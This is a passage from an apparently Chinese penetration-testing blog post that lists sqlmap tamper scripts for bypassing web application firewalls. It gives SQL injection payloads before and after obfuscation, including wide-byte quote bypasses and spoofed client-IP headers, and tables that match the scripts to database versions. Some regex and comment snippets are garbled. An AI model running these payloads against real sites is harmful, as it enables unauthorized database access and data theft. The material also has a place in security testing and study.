union select 1,2--+ to union%01select%021,2--+

 

适用数据库:SQL Server

 

space2mssqlhash.py:

用 # 加一个换行符替换 payload 中的空格

 

union select 1,2--+ to union%23%0Aselect%23%0A1,2--+

 

适用数据库:MSSQL、MySQL

 

space2mysqlblank.py:

blanks = ('%09', '%0A', '%0C', '%0D', '%0B')

 

用这些随机空白符替换payload中的空格

 

union select 1,2--+ to union%09select%0D1,2--+

 

适用数据库:MySQL

 

space2mysqldash.py:

用 -- 加一个换行符替换空格

 

union select 1,2--+ to union--%0Aselect--%0A1,2--+

 

适用数据库:MySQL、MSSQL

 

 

space2plus.py:

用 + 替换空格

 

union select 1,2--+ to union+select+1,2--+

 

适用数据库:ALL

 

space2randomblank.py:

blanks = ("%09", "%0A", "%0C", "%0D")

 

用这些随机空白符替换 payload 中的空格

 

union select 1,2--+ to union%09select%0C1,2--+

 

适用数据库:ALL

 

symboliclogical.py:

retVal = re.sub(r"(?i)bANDb", "%26%26", re.sub(r"(?i)bORb", "%7C%7C", payload))

 

用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况

 

1 and 1=1 to 1 %26%26 1=1

 

1 or 1=1 to 1 %7c%7c 1=1

 

适用数据库:ALL

 

unionalltounion.py:

return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

 

用 union select 替换union all select

 

union all select 1,2--+ to union select 1,2--+

 

适用数据库:ALL

unmagicquotes.py:

用宽字符绕过 GPC addslashes

 

1‘ and 1=1 to 1%df%27 and 1=1--

 

适用数据库:ALL

 

uppercase.py:

将 payload 大写

 

union select to UNION SELECT

 

适用数据库:ALL

 

varnish.py:

headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload

 

添加一个 HTTP 头 “ X-originating-IP ” 来绕过 WAF

 

还可以自定义:

 

X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A

 

适用数据库:ALL

 

versionedkeywords.py

对不是函数的关键字进行注释

 

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

 

to

 

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

 

适用数据库:MySQL

 

versionedmorekeywords.py:

注释每个关键字

 

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

 

to

 

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#

 

适用数据库:MySQL >= 5.1.13

 

xforwardedfor.py:

headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

 

添加一个伪造的 HTTP 头 “ X-Forwarded-For ” 来绕过 WAF

 

适用数据库:ALL

 

3、总结

 sqlmap 自带的 tamper 很强大,但是在实际的环境中,往往比较复杂,可能遇到的情况会非常多,这些 tamper 不可能做到很全面的应对各种环境,所以在学习自带的 tamper 的使用的同时,最好能够掌握 tamper 的编写规则,这样应对各种环境才能应对自如,还有手工注入绕狗也要学习,手工绕狗虽然很烦和麻烦,但是这样可以让我们理解tamper绕过安全狗的原理,且在复杂环境阶段工具绕不过时,手工绕狗,不要一脱离工具就不会绕狗了。

一时用工具一时爽,一直用工具一直爽,爽翻了不利于己身的成长

 

SQLmap tamper参数汇总表格

sqlmap版本当前为1.2.7.20,共有57个tamper脚本,与1.0版本相比新增了19个脚本。

序号

脚本名称

注释

1

0x2char

将每个编码后的字符转换为等价表达

2

apostrophemask

单引号替换为Utf8字符

3

apostrophenullencode

替换双引号为%00%27

4

appendnullbyte

有效代码后添加%00

5

base64encode

使用base64编码

6

between

比较符替换为between

7

bluecoat

空格替换为随机空白字符,等号替换为like

8

chardoubleencode

双url编码

9

charencode

将url编码

10

charunicodeencode

使用unicode编码

11

charunicodeescape

以指定的payload反向编码未编码的字符

12

commalesslimit

改变limit语句的写法

13

commalessmid

改变mid语句的写法

14

commentbeforeparentheses

在括号前加内联注释

15

concat2concatws

替换CONCAT为CONCAT_WS

16

equaltolike

等号替换为like

17

escapequotes

双引号替换为\\\\

18

greatest

大于号替换为greatest

19

halfversionedmorekeywords

在每个关键字前加注释

20

htmlencode

html编码所有非字母和数字的字符

21

ifnull2casewhenisnull

改变ifnull语句的写法

22

ifnull2ifisnull

替换ifnull为if(isnull(A))

23

informationschemacomment

标示符后添加注释

24

least

替换大于号为least

25

lowercase

全部替换为小写值

26

modsecurityversioned

空格替换为查询版本的注释

27

modsecurityzeroversioned

添加完整的查询版本的注释

28

multiplespaces

添加多个空格

29

nonrecursivereplacement

替换预定义的关键字

30

overlongutf8

将所有字符转义为utf8

31

overlongutf8more

以指定的payload转换所有字符

32

percentage

每个字符前添加%

33

plus2concat

将加号替换为concat函数

34

plus2fnconcat

将加号替换为ODBC函数{fn CONCAT()}

35

randomcase

字符大小写随机替换

36

randomcomments

/**/分割关键字

37

securesphere

添加某字符串

38

sp_password

追加sp_password字符串

39

space2comment

空格替换为/**/

40

space2dash

空格替换为–加随机字符

41

space2hash

空格替换为#加随机字符

42

space2morecomment

空格替换为/**_**/

43

space2morehash

空格替换为#加随机字符及换行符

44

space2mssqlblank

空格替换为其他空符号

45

space2mssqlhash

空格替换为%23%0A

46

space2mysqlblank

空格替换为其他空白符号

47

space2mysqldash

空格替换为–%0A

48

space2plus

空格替换为加号

49

space2randomblank

空格替换为备选字符集中的随机字符

50

symboliclogical

AND和OR替换为&&和||

51

unionalltounion

union all select替换为union select

52

unmagicquotes

宽字符绕过GPC

53

uppercase

全部替换为大写值

54

varnish

添加HTTP头

55

versionedkeywords

用注释封装每个非函数的关键字

56

versionedmorekeywords

使用注释绕过

57

xforwardedfor

添加伪造的HTTP头

 

 

 

 

 

 

 

 

数据库区分tampet参数

以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出

 

【MySQL】

版本

可用tamper编号

脚本名称

 

 

 

 

 

4/5.0/5.5

1

0x2char

6

between

9

charencode

16

concat2concatws

18

greatest

24

least

25

lowercase

35

randomcase

39

space2comment

49

space2randomblank

53

uppercase

5.1

7

bluecoat

46

space2mysqlblank

5.0/5.5

12

commalesslimit

13

commalessmid

21

ifnull2casewhenisnull

22

ifnull2ifisnull

42

space2morecomment

5.0

15

concat2concatws

26

modsecurityversioned

27

modsecurityzeroversioned

4.0/5.0

41

space2hash

5.1.56

10

charunicodeencode

5.1.56/5.5.11

32

percentage

56

versionedmorekeywords

4.0.18/5.0.22

19

halfversionedmorekeywords

4.0.18/5.1.56/5.5.11

55

versionedkeywords

5.1.41

43

space2morehash

未指定版本

14

commentbeforeparentheses

40

space2dash

45

space2mssqlhash

47

space2mysqldash

 

 

 

【SQLServer】

版本号

可用tamper编号

脚本名称

2005/2000

10

charunicodeencode

32

percentage

44

space2mssqlblank

2005

6

between

9

charencode

16

equaltolike

25

lowercase

35

randomcase

39

space2comment

49

space2randomblank

53

uppercase

2002+

33

plus2concat

2008+

34

plus2fnconcat

未指定

14

commentbeforeparentheses

 

【Access】

版本

可用tamper编号

脚本名称

未指定

4

appendnullbyte

 

【Oracle】

版本号

可用tamper编号

脚本名称

10g

6

between

9

charencode

14

commentbeforeparentheses

18

greatest

24

least

25

lowercase

35

randomcase

39

space2comment

49

space2randomblank

53

uppercase

 

【PostgreSQL】

版本号

可用tamper编号

脚本名称

8.3/8.4/9.0

6

between

9

charencode

18

greatest

24

least

25

lowercase

39

space2comment

49

space2randomblank

53

uppercase

9.0

32

percentage

9.0.3

10

charunicodeencode

未指定

14

commentbeforeparentheses

35

randomcase

 

【MSSQL】

版本

可用tamper编号

脚本名称

未指定

38

sp_password

 

【SQLite】

版本

可用tamper编号

脚本名称

未指定

40

space2dash

 

【未知适用范围】

若以上脚本未解决问题,可尝试使用以下脚本。

版本

可用tamper编号

脚本名称

 

2

apostrophemask

 

3

apostrophenullencode

 

5

base64encode

 

8

chardoubleencode

 

11

charunicodeescape

 

17

escapequotes

 

20

htmlencode

 

23

informationschemacomment

 

28

multiplespaces

 

29

nonrecursivereplacement

 

30

overlongutf8

 

31

overlongutf8more

 

36

randomcomments

 

37

securesphere

 

48

space2plus

 

50

symboliclogical

 

51

unionalltounion

 

52

unmagicquotes

 

54

varnish

 

57

xforwardedfor

—————————————————————————————————————————————————

我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重

—————————————————————————————————————————————————

你可能感兴趣的:(渗透测试,SQLMap,前渗透篇)